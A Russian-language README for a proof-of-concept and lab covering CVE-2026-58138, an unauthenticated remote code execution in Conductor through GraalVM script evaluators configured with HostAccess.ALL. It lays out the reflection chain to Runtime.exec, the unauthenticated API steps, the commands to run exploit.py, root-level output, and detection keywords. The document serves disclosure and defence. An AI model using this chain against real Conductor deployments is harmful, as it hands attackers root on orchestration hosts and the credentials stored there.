CVE-2026-58138 — Conductor (3.21.21..<3.30.2) неаутентифицированное RCE через INLINE-оценщик GraalVM (HostAccess.ALL). Лаб + PoC, проверено e2e (root).
Conductor (OSS / Orkes)
3.21.21… до3.30.2оценивает предоставленный пользователем JavaScript в задачахINLINE(иLAMBDA/DO_WHILE/SWITCH) с контекстом GraalVM, построенным с полным доступом к хосту (HostAccess.ALL). Скрипт может обратиться кjava.lang.Runtimeи выполнять команды ОС. Community API по умолчанию не требует аутентификации, поэтому отправка рабочего процесса с такой задачей является неаутентифицированным удаленным выполнением кода.
| CVE | CVE-2026-58138 |
| Уведомление | vulncheck — Orkes Conductor unauth RCE via GraalVM script evaluators |
| Затронутые версии | Conductor 3.21.21 … до 3.30.2 |
| Исправлено в | 3.30.2 (коммиты 87a7d96, c691e35) |
| Класс | CWE-94 (Внедрение кода) — песочница GraalVM polyglot не применена |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Аутентификация | Отсутствует (API сообщества по умолчанию не требует аутентификации) |
| Статус | ПОДТВЕРЖДЕНО — воспроизведено от root на conductoross/conductor:3.22.3 |
Примечание по версиям (прочитайте). Конфигурация оценщика меняется в пределах затронутого диапазона: версии до ~
3.29.x(в этой лабораторной работе используется3.22.3) создают контекст с простымallowHostAccess(HostAccess.ALL)— конфигурация без песочницы, описанная в CVE и непосредственно используемая в данном PoC. Линия3.30.0/3.30.1добавила частичный черный списокdenyAccess(...)(отражение заблокировано); полное исправление (allowHostClassLoading(false)+ усиление движка) появляется только в3.30.2. Этот PoC нацелен на конфигурацию plain-HostAccess.ALLи не претендует на обход блокировки версии3.30.1.
core/.../events/ScriptEvaluator.java (≤ 3.29.x / 3.22.3):
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // full host interop -> no sandbox
.build();
HostAccess.ALL позволяет скрипту вызывать любые методы/поля объектов Java хоста. Задача INLINE связывает свой вход с $ — реальным Java-объектом, так что скрипт может развернуться: $.getClass().getClass() → java.lang.Class → Class.forName("java.lang.Runtime") → Runtime.getRuntime().exec(...). Оценщик Python эквивалентен (Context.newBuilder("python").allowAllAccess(true)).
INLINE которого содержит вредоносное expression (POST /api/metadata/workflow, без аутентификации).POST /api/workflow/{name}, без аутентификации).Runtime.exec запускает команду, и PoC возвращает ее stdout как результат задачи.docker compose -f lab/docker-compose.yml up -d # conductoross/conductor:3.22.3 (in range)
# wait ~60s for the all-in-one server to boot
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname"
Наблюдается:
[*] registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] started workflow id=...; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+kali-amd64
uid=0(root) — это пользователь процесса Conductor; вывод — это состояние id/uname в реальном времени — подлинное выполнение, а не эхо. exploit.py использует только стандартную библиотеку Python.
Любой, кто может получить доступ к API Conductor, выполняет произвольные команды ОС (здесь от root) на хосте-оркестраторе — полная компрометация движка рабочих процессов, его постоянного хранилища/очередей и всех систем, к которым его рабочие процессы и сохраненные учетные данные имеют доступ.
Отмечайте определения рабочих процессов, задачи которых INLINE/LAMBDA/DO_WHILE/SWITCH содержат строки expression, ссылающиеся на getClass, forName, Runtime, exec, ProcessBuilder или отражение java., а также процессы Conductor, порождающие оболочки.
Смотрите ANALYSIS.md для цепочки отражений, конфигурации оценщика по версиям и исправления.